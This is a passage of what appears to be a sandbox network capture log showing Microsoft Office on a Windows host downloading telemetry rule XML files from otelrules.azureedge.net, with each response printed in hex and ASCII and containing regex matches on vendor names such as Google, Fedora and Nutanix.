2024-11-20 03:08:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030804Z-185f5d8b95cf7qddhC1NYC66an00000009ng00000000qh4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	62398	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030804Z-r1d97b99577dd2gchC1TEBz5ys000000083000000000az8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	62400	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030804Z-1777c6cb754lvj6mhC1TEBke940000000950000000001xtw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	62399	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030804Z-185f5d8b95crwqd8hC1NYCps6800000009p0000000009wxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	62402	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030805Z-185f5d8b95cdtclvhC1NYC4rmc00000009q000000000tvcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	62401	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030805Z-1777c6cb754xjpthhC1TEBexs800000008s000000000p04r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	62404	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030805Z-185f5d8b95cp7lkfhC1NYC7rpw00000009sg00000000em04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	62403	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030805Z-r1d97b99577ckpmjhC1TEBrzs0000000087g00000000knc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	62405	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030805Z-1777c6cb7544n7p6hC1TEByvb4000000093000000000fzy6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	62407	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030806Z-185f5d8b95cgrrn8hC1NYCgwh400000009e000000000qrwu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	62406	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030806Z-1777c6cb754ww792hC1TEBzqu400000008sg00000000mz6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	62409	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 5633ff77-c01e-0014-30eb-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030806Z-r1d97b99577n4dznhC1TEBc1qw000000089g00000000auc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml 